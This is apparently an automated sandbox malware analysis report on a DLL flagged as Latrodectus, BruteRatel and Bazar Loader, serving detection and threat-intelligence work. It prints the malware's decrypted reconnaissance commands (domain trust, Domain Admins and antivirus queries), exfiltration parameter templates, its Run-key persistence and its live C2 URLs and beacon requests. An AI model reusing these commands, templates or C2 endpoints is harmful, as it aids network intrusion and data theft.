Edit tour

Windows Analysis Report
upfilles.dll.dll

Overview

General Information

Sample name:	upfilles.dll.dll (renamed file extension from exe to dll)
Original sample name:	upfilles.dll.exe
Analysis ID:	1439879
MD5:	ccb6d3cb020f56758622911ddd2f1fcb
SHA1:	4a013f752c2bf84ca37e418175e0d9b6f61f636d
SHA256:	f4cb6b684ea097f867d406a978b3422bbf2ecfea39236bf3ab99340996b825de
Tags:	exe
Infos:

Detection

Bazar Loader, BruteRatel, Latrodectus

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected Bazar Loader

Yara detected BruteRatel

Yara detected Latrodectus

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject threads in other processes

Creates a thread in another existing process (thread injection)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Modifies the context of a thread in another process (thread injection)

Sample uses string decryption to hide its real strings

Sets debug register (to hijack the execution of another thread)

Sigma detected: RunDLL32 Spawning Explorer

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to query network adapater information

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 6632 cmdline: loaddll64.exe "C:\Users\user\Desktop\upfilles.dll.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 6636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 344 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 5472 cmdline: rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

regsvr32.exe (PID: 2180 cmdline: regsvr32.exe /i /s C:\Users\user\Desktop\upfilles.dll.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

rundll32.exe (PID: 6296 cmdline: rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllCanUnloadNow MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 6324 cmdline: rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllGetClassObject MD5: EF3179D498793BF4234F708D3BE28633)

WerFault.exe (PID: 6688 cmdline: C:\Windows\system32\WerFault.exe -u -p 6324 -s 344 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

rundll32.exe (PID: 6516 cmdline: rundll32.exe C:\Users\user\Desktop\upfilles.dll.dll,DllInstall MD5: EF3179D498793BF4234F708D3BE28633)

WerFault.exe (PID: 3732 cmdline: C:\Windows\system32\WerFault.exe -u -p 6516 -s 344 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

rundll32.exe (PID: 7264 cmdline: rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllCanUnloadNow MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7272 cmdline: rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllGetClassObject MD5: EF3179D498793BF4234F708D3BE28633)

WerFault.exe (PID: 7388 cmdline: C:\Windows\system32\WerFault.exe -u -p 7272 -s 344 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

rundll32.exe (PID: 7288 cmdline: rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllInstall MD5: EF3179D498793BF4234F708D3BE28633)

WerFault.exe (PID: 7396 cmdline: C:\Windows\system32\WerFault.exe -u -p 7288 -s 344 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

rundll32.exe (PID: 7296 cmdline: rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",DllUnregisterServer MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7320 cmdline: rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",stow MD5: EF3179D498793BF4234F708D3BE28633)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

rundll32.exe (PID: 7856 cmdline: "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Roaming\upfilles.dll", stow MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7984 cmdline: "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Roaming\upfilles.dll", stow MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Brute Ratel C4, BruteRatel	Brute Ratel is a a Customized Command and Control Center for Red Team and Adversary SimulationSMB and TCP payloads provide functionality to write custom external C2 channels over legitimate websites such as Slack, Discord, Microsoft Teams and more.Built-in debugger to detect EDR userland hooks.Ability to keep memory artifacts hidden from EDRs and AV.Direct Windows SYS calls on the fly.	No Attribution	https://0xdarkvortex.dev/hiding-in-plainsight/ https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/ https://andreafortuna.org/2023/02/23/how-to-detect-brute-ratel-activities https://blog.spookysec.net/analyzing-brc4-badgers/ https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/	https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4

Name	Description	Attribution	Blogpost URLs	Link
Unidentified 111 (Latrodectus), Latrodectus	First discovered in October 2023, BLACKWIDOW is a backdoor written in C that communicates over HTTP using RC4 encrypted requests. The malware has the capability to execute discovery commands, query information about the victim's machine, update itself, as well as download and execute an EXE, DLL, or shellcode. The malware is believed to have been developed by LUNAR SPIDER, the creators of IcedID (aka BokBot) Malware.	No Attribution	https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ https://embee-research.ghost.io/phishing-domain-analysis-with-passive-dns-latrodectus/ https://exchange.xforce.ibmcloud.com/malware-analysis/guid:dab8a02f9161933bc2eff5ba4a5f8412 https://github.com/VenzoV/MalwareAnalysisReports/blob/main/Latrodectus/Latrodectus%20%22Littlehw%22.md https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39	https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111

Malware Configuration

Threatname: Latrodectus

{"C2 url": ["https://workspacin.cloud/live/", "https://illoskanawer.com/live/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000016.00000003.2703639060.0000000003250000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.1868997096.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.1843049394.0000029213423000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000016.00000000.1844669819.00000000013A0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000003.1867725723.00000292135D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.1868887059.00000292135D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000003.1868680221.00000292135D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.1843192476.0000029213423000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000016.00000003.2807505534.0000000008820000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.1867965215.00000292135D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000016.00000002.2945149697.000000000B52C000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.1867247710.00007DF4F0220000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000016.00000002.2938259956.0000000003140000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.2738816096.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000002.2938671459.0000029211650000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Bazar_2	Yara detected Bazar Loader	Joe Security
00000012.00000002.2938735431.00000292116A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Bazar_2	Yara detected Bazar Loader	Joe Security
00000012.00000003.1842909028.0000029213422000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.2311847302.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000003.2284190577.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.1868287262.00000292135D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000012.00000003.1868470583.00000292135D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
Process Memory Space: rundll32.exe PID: 7320	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
Process Memory Space: explorer.exe PID: 2580	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
decrypted.memstr	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author
18.3.rundll32.exe.7df4f0220000.0.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
22.0.explorer.exe.13a0000.0.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
18.3.rundll32.exe.7df4f0220000.0.raw.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
22.0.explorer.exe.13a0000.0.raw.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
22.2.explorer.exe.13a0000.0.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
22.2.explorer.exe.13a0000.0.raw.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
18.2.rundll32.exe.29211650000.3.raw.unpack	JoeSecurity_Bazar_2	Yara detected Bazar Loader	Joe Security
18.2.rundll32.exe.292116a0000.5.unpack	JoeSecurity_Bazar_2	Yara detected Bazar Loader	Joe Security
18.2.rundll32.exe.292116a0000.5.raw.unpack	JoeSecurity_Bazar_2	Yara detected Bazar Loader	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: RunDLL32 Spawning Explorer

Source: Process started

Author: elhoim, CD_ROM_: Data: Command: C:\Windows\Explorer.EXE, CommandLine: C:\Windows\Explorer.EXE, CommandLine|base64offset|contains: , Image: C:\Windows\explorer.exe, NewProcessName: C:\Windows\explorer.exe, OriginalFileName: C:\Windows\explorer.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",stow, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 7320, ParentProcessName: rundll32.exe, ProcessCommandLine: C:\Windows\Explorer.EXE, ProcessId: 2580, ProcessName: explorer.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32 "C:\Users\user\AppData\Roaming\upfilles.dll", stow...`.U. `.....#..p..8.. `......., EventID: 13, EventType: SetValue, Image: C:\Windows\System32\rundll32.exe, ProcessId: 7320, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 22.0.explorer.exe.13a0000.0.unpack

Malware Configuration Extractor: Latrodectus {"C2 url": ["https://workspacin.cloud/live/", "https://illoskanawer.com/live/"]}

Multi AV Scanner detection for submitted file

Source: upfilles.dll.dll

ReversingLabs: Detection: 15%

Sample uses string decryption to hide its real strings

Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /c ipconfig /all
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /c systeminfo
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /c nltest /domain_trusts
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /c net view /all /domain
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /c nltest /domain_trusts /all_trusts
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /c net view /all
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &ipconfig=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /c net group "Domain Admins" /domain
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\wbem\wmic.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /c net config workstation
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName \| findstr /V /B /C:displayName \|\| echo No Antivirus installed
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /c whoami /groups
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &systeminfo=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &domain_trusts=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &domain_trusts_all=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &net_view_all_domain=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &net_view_all=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &net_group=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &wmic=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &net_config_ws=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &net_wmic_av=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &whoami_group=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "pid":
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "%d",
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "proc":
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "%s",
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "subproc": [
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &proclist=[
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "pid":
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "%d",
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "proc":
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "%s",
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "subproc": [
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &desklinks=[
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: .
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: "%s"
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: Update_%x
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: Custom_update
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: .dll
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: .exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: runnung
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: -.V71R?b;<=>&GAg"Ovz_~zzva6WQp2
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: [8<z'Hsw)sXs[wsoVWXYZ[r;X\@hS1W{S9_<S!WUSpqrsZp
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: ;[8<H'sws]sXwsoo(?8fI/^3753hijkBhlX;1*
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: /files/
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: Electrol
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: .+`lgSRHYJPpU\IETT05?=CAI
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: POST
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: GET
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: curl/7.88.1
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: p:
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: URLS
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: COMMAND
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: ERROR
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: xkxp7pKhnkQxUokR2dl00qsRa6Hx0xvQ31jTD7EwUqj4RXWtHwELbZFbOoqCnXl8
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: C:\WINDOWS\SYSTEM32\rundll32.exe %s,%s
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: -./012R35Q^U0R]v?z4~:z5v!YRYOIJ_
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: sZp
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: @-
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: <html>
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: <!DOCTYPE
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: %s%d.dll
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: 12345
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &stiller=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: %s%d.exe
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: LogonTrigger
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: %x%x
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: TimeTrigger
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: PT0H%02dM
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: %04d-%02d-%02dT%02d:%02d:%02d
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &mac=
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: %02x
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: :%02x
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: PT0S
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &computername=%s
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: &domain=%s
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: \*.dll
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: %04X%04X%04X%04X%08X%04X
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: %04X%04X%04X%04X%08X%04X
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: @ACDEGwIuKMNOPQRSTUx1^ZR=/m=m6U0U:],]'U%U*-s-~5V5P=W=Z5Y5V-s
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: https://workspacin.cloud/live/
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: https://illoskanawer.com/live/
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: AppData
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: Desktop
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: Startup
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: Personal
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: Local AppData
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 22.0.explorer.exe.13a0000.0.unpack	String decryptor: \update_data.dat

Source: unknown	HTTPS traffic detected: 91.194.11.183:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.124.183.215:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.175.181.104:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.164.68.73:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.69.236.35:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.155:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.69.236.35:443 -> 192.168.2.4:49784 version: TLS 1.2

Source:

Binary string: X:\Gitlab\Builds\e945be61\0\lab\protectionplatform\Output\Release\x64\eppcom64.pdb source: rundll32.exe, 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.1803925725.0000000180025000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000E.00000002.1853230060.0000000180025000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000F.00000002.1842561236.0000000180025000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000012.00000002.2936902948.0000000180025000.00000002.00000001.01000000.00000003.sdmp, upfilles.dll.dll

Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800192B8 FindFirstFileExW,	6_2_00000001800192B8
Source: C:\Windows\explorer.exe	Code function: 22_2_013A8BA8 FindFirstFileW,FindNextFileW,LoadLibraryW,	22_2_013A8BA8
Source: C:\Windows\explorer.exe	Code function: 22_2_013A1A08 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	22_2_013A1A08
Source: C:\Windows\explorer.exe	Code function: 22_2_013ADCE0 FindFirstFileW,	22_2_013ADCE0

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 138.124.183.215 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 3.69.236.35 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 91.194.11.183 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 54.175.181.104 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 95.164.68.73 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.16.155 443	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://workspacin.cloud/live/
Source: Malware configuration extractor	URLs: https://illoskanawer.com/live/

Source: Joe Sandbox View	ASN Name: NASSIST-ASGI NASSIST-ASGI
Source: Joe Sandbox View	ASN Name: NOKIA-ASFI NOKIA-ASFI
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: HQservCommunicationSolutionsIL HQservCommunicationSolutionsIL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: boriz400.comContent-Length: 538Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: altynbe.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
